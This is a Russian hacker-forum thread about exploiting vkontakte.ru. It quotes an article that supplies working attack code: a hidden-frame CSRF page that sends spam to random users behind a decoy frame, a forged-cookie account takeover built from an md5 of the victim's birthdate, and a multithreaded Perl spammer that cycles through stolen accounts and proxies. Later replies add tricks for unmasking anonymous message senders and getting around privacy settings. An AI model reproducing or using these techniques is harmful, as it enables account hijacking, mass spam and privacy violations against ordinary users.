Некоторые баги vkontakte.ru

Hank_Moody · 13 Aug 2010

да но в реальном случаи можно заметить как это уже исправлено!

Sergio-RUS · 21 Aug 2010

lord_of_keyboard said:
Интро

Привет, котятки! Сегодня мы попробуем заняться паразитизмом на довольно крупном сервисе vkontakte.ru. Сервис страдает от огромного количества всевозможных проблем с безопасностью и просто багов.
Рассмотрим пару самых занятных багов, может быть, напишем флудер/спаммер.

1. Занимательный javascript

В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&to_id=1&title=&message=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

Создадим три страницы:
1) index.html
HTML:
<frameset ROWS="100%,0%,0%">
<FRAME NAME="mainfrm" SRC="http://www.183.ru/2/">
<FRAME NAME="preved" SRC="preved.html">
<FRAME NAME="timer" SRC="timer.html">
</frameset>
2) preved.html
HTML:
<html><head></head><body></body></html>
3) timer.html
HTML:
<head>
<script>
function timer() {
var msg = new String();
var msg_to ;
do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя
msg=urlencode('Превед!'); // наше сообщение 8)
msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены
// отправим наше сообщение
parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg;
setTimeout("timer()", 1250); // И поставим сами себя на таймер
}
</script>
</head>
<body>

<script>
timer();
</script>
</body>
Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)

2. Проблемы с безопасностью

В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

3. Многопоточный флудер

Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Code:
#!/usr/bin/perl

#
# By lord_of_keyboard, 2007.
#

use IO::Socket;
use Digest::MD5 qw (md5_hex);

sub add_child {
	my $proxy=shift;
	my $acc=shift;
	my $pid = fork();
	if ($pid) { # parent
		push(@children, $pid.":".time());
	} elsif ($pid == 0) { # child
		$proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g;
		my ($host, $port) = split(":",$proxy);
		my ($id, $password, $shit) = split(":", $acc);
		my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password);
		my $post_id=int(rand(400000));		
		my $text = "Я тебя люблю ";

		for $i (1..int(rand(10)+1)){ $text.=")"; }
		$text.="\n http://l-0-v-e.by.ru/";
		$text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
		
		my $get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n".
		    "Host: vkontakte.ru\r\n".
		    "Accept: */*\r\n".
		    "Content-Type: application/x-www-form-urlencoded\r\n".
		    "Referer: http://vkontakte.ru/\r\n".
		    "User-Agent: Internet Explorer 6.0\r\n".
		    "Cookie: $cookie\r\n".
		    "Connection: close\r\n\r\n";
    
		my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
		print $sock $get;
		while ($html = <$sock>){
		    if ($html =~ /name="blog_id"/gi){
		        $html=~m/(\d+)/gi;
		        $blog_id = $1;
		    }
		}
		close $sock;
		sleep(1);

		$request = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text";
		$comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".
		    "Host: vkontakte.ru\r\n".
		    "Accept: */*\r\n".
		    "Content-Type: application/x-www-form-urlencoded\r\n".
		    "Content-Length: ".length($request)."\r\n".
		    "Referer: http://vkontakte.ru/\r\n".
		    "User-Agent: Internet Explorer 6.0\r\n".
		    "Cookie: $cookie\r\n".
		    "Connection: close\r\n\r\n$request";
		my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
    
		print $sock $comment;
		while (<$sock>){ print; }
		close $sock;

		exit(0); # bailing out 8)
	} else {
		die "couldn't fork: $!\n";
	}
}

sub next_plz {
	$proxy_offset++; $acc_offset++;
	if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; }
	if ($acc_offset>$#{@accs}){ $acc_offset=0; }
}

print "Hello, master. I am ready to serve you.\n\n";

open(FILE,"<proxies.txt"); @proxies=<FILE>; close FILE;
open(FILE,"<accs.txt");    @accs=<FILE>;    close FILE;

@children=(); $acc_offset=0; $proxy_offset=0;
for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; }

while (1){
	print "There are ".(@children)." of us.\n";
	for my $i (0..$#{@children}) {
		my $child=@children[$i];
		my ($pid,$time)=split(":",$child);
		my $status = waitpid($pid, -1);
		if ($status>=0) {
			if (time()-$time>30) {
				kill($pid); # time has come to die, r.i.p.
			} # if
		} else {
		splice(@children,$i,1);
		add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; 
		}
	} # foreach
sleep(2);
}
Заключение

Всё написанное выше - не более, чем описание некоторого опыта. Может кому-то пригодится, может, возможно использовать где-то ещё.
By C!klodoL & lord_of_keyboard, 2007.
Click to expand...
Привет! А скажите этот баг еще не исправили?
В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

Sergio-RUS · 21 Aug 2010

А это еще работает???

Aezi · 24 Aug 2010

kingbeef said:

- Открываем стр. редактирования раздела "Образование"
- выбираем страну Гонконг ( любой город )
- выбираете из списка произвольный ВУЗ больше всего подходящий для вас
- сохраняем и радуемся
Click to expand...

еще тайвань и др. страны не только гонконг

alp1n3 · 30 Aug 2010

Snake21 said:

Подскажите плиз, можно ли как то увидеть закрытую стену?)
Или может кто знает скрипт добавления в друзья?? То есть я отправляю человеку ссыль, он не знаю делает запрос что это за код?) кто подскажет?)
Click to expand...

funt1k said:

Стену не как, в добавления в друзья везде хеш стоит, раньше можно было через PDA сделать))
Click to expand...

Никак, если только закрыта страница,но открыта стена тогда например вкопт или пда покажет

VoVaN+++ said:

Раскройте пожалуйста секрет, как писать в личку, если стоят настройки приватности, или совсем в чёрном списке у человека.
Напишите плз в личку, отблагодарю чем смогу
Click to expand...

Если в черном списке, никак, только если кидать ссыль на разбан. Если только ограничения - то становишься другом любого его друга и пишешь через добавление.

SEWERN said:

как можно узнать кто пишет в анонимки ?
Click to expand...

обсасывали уже
1) Кидаем эту ссылку (в чистом виде или лучше в приложении анониму) > http://vkontakte.ru/matches.php?act=a_search&st=0&c=0&s=1&y=0&id=*ваш id*
2) По очереди удаляем всех друзей, каждый раз пытаясь отправить ответ на мнение. Если после очередного удаленного друга, ответ отправить не получается, то он - и есть автор мнения.

Кстати, если у кого то из-за рейта, таблицы и проч. в "Контакной информации" пропал Никнейм, то делаем так:
1) http://vkontakte.ru/editProfile.php?act=contacts
2) javascript:addNickname();void(0)
3) заполняем вновь появившиеся поля
4) Profit!

SCORPION92 · 19 Sep 2010

kingbeef said:

- Открываем стр. редактирования раздела "Образование"
- выбираем страну Гонконг ( любой город )
- выбираете из списка произвольный ВУЗ больше всего подходящий для вас
- сохраняем и радуемся
Click to expand...

Не обязательно выбирать, можно и самому что-то написать

TaveL · 21 Sep 2010

Sergio-RUS said:

А это еще работает???
Click to expand...

Конечно нет, сейчас в куки ставится remixsid - просто идентификатор сессии на сервере, никаких данных он не содержит.

Juda · 26 Sep 2010

Как получить статус пользователя, который скрыл свою страничку?

Orion_AL · 27 Sep 2010

Juda said:

Как получить статус пользователя, который скрыл свою страничку?
Click to expand...

Через http://durov.ru вроде бы можно посмотреть

olkool · 28 Sep 2010

http://vkontakte.ru/id42934794 вот у него визуально 10010 как так зделать ?

Malf · 28 Sep 2010

olkool said:

http://vkontakte.ru/id42934794 вот у него визуально 10010 как так зделать ?
Click to expand...

молодой человек , еще один раз напишеш это бъявление , получишь бан , тебе же ясно сказали что делать нужно...

olkool · 28 Sep 2010

я че дебил что бы кидать смс дурову ? Оо я нормально спросил тут мне хрень кидаете

Malf · 28 Sep 2010

olkool said:

я че дебил что бы кидать смс дурову ? Оо я нормально спросил тут мне хрень кидаете
Click to expand...

а ты что нормальный человек что бы такое спрашивать ???? =)))
какой вопрос такой ответ
это реальный рейтинг этих пользователей...

olkool · 28 Sep 2010

Malf said:

а ты что нормальный человек что бы такое спрашивать ???? =)))
какой вопрос такой ответ
это реальный рейтинг этих пользователей...
Click to expand...

Не реальный ! Вот етот Маркиян смотрите его город "Тернополь" Там 1 он по рейту а 2й идет у него 4444

Malf · 28 Sep 2010

olkool said:

Не реальный ! Вот етот Маркиян смотрите его город "Тернополь" Там 1 он по рейту а 2й идет у него 4444
Click to expand...

где ты нашел 4444 ? сылку дай

olkool · 28 Sep 2010

http://vkontakte.ru/gsearch.php?from=people&c[country]=2&c[city]=1559

Вот смотрий второго чела

Artmare · 28 Sep 2010

olkool said:

http://vkontakte.ru/gsearch.php?from=people&c[country]=2&c[city]=1559

Вот смотрий второго чела
Click to expand...

Значит обнулили. суммарно рейтинг был более 4444.
Не успел индексироваться поиск.

olkool · 28 Sep 2010

Artmare said:

Значит обнулили. суммарно рейтинг был более 4444.
Не успел индексироваться поиск.
Click to expand...

А как быть с етим 10010 его в поиске вообще нету после Vahe Yeremyan 'a

Artmare · 28 Sep 2010

olkool said:

А как быть с етим 10010 его в поиске вообще нету после Vahe Yeremyan 'a
Click to expand...

Почему ты решил что он должен быть сразу же после Ваге?
наверное ты путаешь 100010 и 10010 не?

revenantus · 28 Sep 2010

olkool said:

я че дебил что бы кидать смс дурову ? Оо я нормально спросил тут мне хрень кидаете
Click to expand...

парень возможно девелопер какого-нить приложения с фичами за голоса, всего-то...

Некоторые баги vkontakte.ru

Hank_Moody Banned

Sergio-RUS New Member

Sergio-RUS New Member

Aezi Banned

alp1n3 New Member

SCORPION92 New Member

TaveL New Member

Juda Elder - Старейшина

Orion_AL New Member

olkool Banned

Malf Banned

olkool Banned

Malf Banned

olkool Banned

Malf Banned

olkool Banned

Artmare New Member

olkool Banned

Artmare New Member

revenantus New Member

Useful Searches

Некоторые баги vkontakte.ru

Hank_Moody Banned

Sergio-RUS New Member

Sergio-RUS New Member

Aezi Banned

alp1n3 New Member

SCORPION92 New Member

TaveL New Member

Juda Elder - Старейшина

Orion_AL New Member

olkool Banned

Malf Banned

olkool Banned

Malf Banned

olkool Banned

Malf Banned

olkool Banned

Artmare New Member

olkool Banned

Artmare New Member

revenantus New Member